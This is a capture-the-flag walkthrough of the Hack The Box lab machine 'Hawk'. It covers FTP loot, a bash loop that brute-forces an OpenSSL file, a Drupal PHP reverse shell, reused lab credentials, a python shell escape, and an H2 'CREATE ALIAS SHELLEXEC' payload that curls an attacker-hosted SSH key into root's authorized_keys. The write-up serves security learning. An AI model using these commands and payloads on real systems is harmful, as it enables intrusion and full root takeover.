Hawk - Hack The Box

Linux / 10.10.10.102

This blog post is a quick writeup of Hawk from Hack the Box.

Summary

---

• The server is running an FTP server, a Drupal website and an H2 database (which is not accessible remotely)
• There is an OpenSSL encrypted file on the publicly accessible FTP server
• We can bruteforce the key using a bash script and the openssl command
• The file contains the password for the Drupal admin account
• Once we are logged in to Drupal, we can create a PHP file that creates a reverse shell
• The shell gets us www-data and we can find the connection password in the Drupal configuration file
• We can log in as user daniel with the password we found
• The normal /bin/bash shell for user daniel has been replaced by python, which we can escape using pty.spawn
• Looking at the running processes, we find that the H2 database is running as root
• We can access the web interface by creating an SSH reverse tunnel back to our Kali machine
• The sa username is using the default empty password but we can log in by changing the URL to anything other than the default string
• Once logged in, we can execute commands as root using H2 SQL commands

Tools/Blogs

• https://mthbernardes.github.io/rce/2018/03/14/abusing-h2-database-alias.html

Detailed steps

---

Nmap

Services running:

• FTP
• SSH
• Apache
• 5435 (?)
• H2 database (Web & TCP interface)

root@violentunicorn:~/hackthebox/Machines/Hawk# nmap -p- 10.10.10.102
Starting Nmap 7.70 ( https://nmap.org ) at 2018-07-14 19:26 EDT
Nmap scan report for hawk.htb (10.10.10.102)
Host is up (0.017s latency).
Not shown: 65529 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
5435/tcp open  sceanics
8082/tcp open  blackice-alerts
9092/tcp open  XmlIpcRegSvc

Nmap done: 1 IP address (1 host up) scanned in 10.50 seconds

Services enumeration

Drupal is running on Port 80.

H2’s database is not accessible on the HTTP port:

H2 Console

Sorry, remote connections ('webAllowOthers') are disabled on this server. 

H2’s database is not accessible on the TCP port:

root@violentunicorn:~/Hawk# telnet 10.10.10.102 9092
Trying 10.10.10.102...
Connected to 10.10.10.102.
Escape character is '^]'.
90117FRemote connections to this server are not allowed, see -tcpAllowOthers��
`
�org.h2.jdbc.JdbcSQLException: Remote connections to this server are not allowed, see -tcpAllowOthers [90117-196]
  at org.h2.message.DbException.getJdbcSQLException(DbException.java:345)
  at org.h2.message.DbException.get(DbException.java:179)
  at org.h2.message.DbException.get(DbException.java:155)
  at org.h2.message.DbException.get(DbException.java:144)
  at org.h2.server.TcpServerThread.run(TcpServerThread.java:82)
  at java.base/java.lang.Thread.run(Thread.java:844)
Connection closed by foreign host.

FTP recon & credentials file

Anonymous access is allowed on the server and there’s a single file we can download.

root@violentunicorn:~/hackthebox/Machines/Hawk# ftp 10.10.10.102
Connected to 10.10.10.102.
220 (vsFTPd 3.0.3)
Name (10.10.10.102:root): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp          4096 Jun 16 22:21 messages
226 Directory send OK.

ftp> cd messages
250 Directory successfully changed.

ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp          4096 Jun 16 22:21 .
drwxr-xr-x    3 ftp      ftp          4096 Jun 16 22:14 ..
-rw-r--r--    1 ftp      ftp           240 Jun 16 22:21 .drupal.txt.enc
226 Directory send OK.

ftp> get .drupal.txt.enc
local: .drupal.txt.enc remote: .drupal.txt.enc
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for .drupal.txt.enc (240 bytes).
226 Transfer complete.
240 bytes received in 0.00 secs (3.4679 MB/s)

The file contains a base64 encoded OpenSSL encrypted file

root@violentunicorn:~/hackthebox/Machines/Hawk# cat drupal.txt.enc 
U2FsdGVkX19rWSAG1JNpLTawAmzz/ckaN1oZFZewtIM+e84km3Csja3GADUg2jJb
CmSdwTtr/IIShvTbUd0yQxfe9OuoMxxfNIUN/YPHx+vVw/6eOD+Cc1ftaiNUEiQz
QUf9FyxmCb2fuFoOXGphAMo+Pkc2ChXgLsj4RfgX+P7DkFa8w1ZA9Yj7kR+tyZfy
t4M0qvmWvMhAj3fuuKCCeFoXpYBOacGvUHRGywb4YCk=

root@violentunicorn:~/hackthebox/Machines/Hawk# base64 -d drupal.txt.enc > drupal-decoded.txt.enc 
root@violentunicorn:~/hackthebox/Machines/Hawk# file drupal-decoded.txt.enc
drupal-decoded.txt.enc: openssl enc'd data with salted password

To brute-force the file, I’ve tried using bruteforce-salted-openssl but that tools is shit so I made my own script that does the same thing.

for pwd in $(cat /root/SecLists/Passwords/rockyou-75.txt)
  do openssl enc -aes-256-cbc -d -a -in drupal.txt.enc -out file.txt -k $pwd
  if [ $? -eq 0 ]
  then
    exit 1
  fi
done

The file contains a password:

root@violentunicorn:~/hackthebox/Machines/Hawk# cat file.txt 
Daniel,

Following the password for the portal:

PencilKeyboardScanner123

Please let us know when the portal is ready.

Kind Regards,

IT department

Drupal

So first we’ll log on to Drupal with:

• Username: admin
• Password: PencilKeyboardScanner123

Next we need to enable PHP filters so we can embed PHP in pages.

Then we’ll create a PHP page with a simple reverse shell.

root@violentunicorn:~# nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.23] from (UNKNOWN) [10.10.10.102] 53700
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ cd /home
$ ls
daniel
$ cd daniel
$ ls
user.txt
$ cat user.txt
d5111d<redacted>

We can find that there is another user: daniel

$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
tomcat:x:1001:46::/opt/tomat/temp:/sbin/nologin
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
daniel:x:1002:1005::/home/daniel:/usr/bin/python3
ftp:x:112:115:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
Debian-snmp:x:113:116::/var/lib/snmp:/bin/false

Getting access to user daniel

In /var/www/html/sites/default/settings.php we find some credentials:

$databases = array (
  'default' => 
  array (
    'default' => 
    array (
      'database' => 'drupal',
      'username' => 'drupal',
      'password' => 'drupal4hawk',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);

Password: drupal4hawk

We can log in as user daniel with this password:

root@violentunicorn:~# ssh daniel@10.10.10.102
daniel@10.10.10.102's password: 

Last login: Sun Jul  1 13:46:16 2018 from dead:beef:2::1004
Python 3.6.5 (default, Apr  1 2018, 05:46:30) 
[GCC 7.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 

We can escape this python interactive shell with:

>>> import pty
>>> pty.spawn("/bin/bash")
daniel@hawk:~$ id
uid=1002(daniel) gid=1005(daniel) groups=1005(daniel)

Privesc using H2 database

To access the H2 database remotely, we’ll do an SSH reverse tunnel:

daniel@hawk:~$ ssh -R 8082:localhost:8082 root@10.10.14.23
The authenticity of host '10.10.14.23 (10.10.14.23)' can't be established.
ECDSA key fingerprint is SHA256:F1UaVc5s2w2++Hm8MXsITptkhljyxkLiczC12e3U2nA.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.10.14.23' (ECDSA) to the list of known hosts.
root@10.10.14.23's password: 
Linux violentunicorn 4.15.0-kali3-amd64 #1 SMP Debian 4.15.17-1kali1 (2018-04-25) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Jul 14 18:49:44 2018 from 10.10.10.102

We can then access the login page.

We have access to the preferences and we can enable remote access.

We can’t log in with the default URL because the relative path is causing problems.

If we change the URL to something else we can write to, we are able to log in.

Next, we’ll use a shellexec() command to gain RCE on the server:

In this case we are dropping our SSH public key in the root authorized_keys file:

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";  }$$;

CALL SHELLEXEC('curl 10.10.14.23/id_rsa.pub -o /root/.ssh/authorized_keys')

We can then log in as root and grab the root flag:

root@violentunicorn:~/.ssh# ssh root@10.10.10.102
Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-23-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Jul 15 00:00:21 UTC 2018

  System load:  0.03              Processes:            113
  Usage of /:   54.1% of 9.78GB   Users logged in:      1
  Memory usage: 57%               IP address for ens33: 10.10.10.102
  Swap usage:   0%

 * Meltdown, Spectre and Ubuntu: What are the attack vectors,
   how the fixes work, and everything else you need to know
   - https://ubu.one/u2Know

 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

55 packages can be updated.
3 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sat Jul 14 21:09:40 2018
root@hawk:~# cat root.txt
54f3e8<redacted>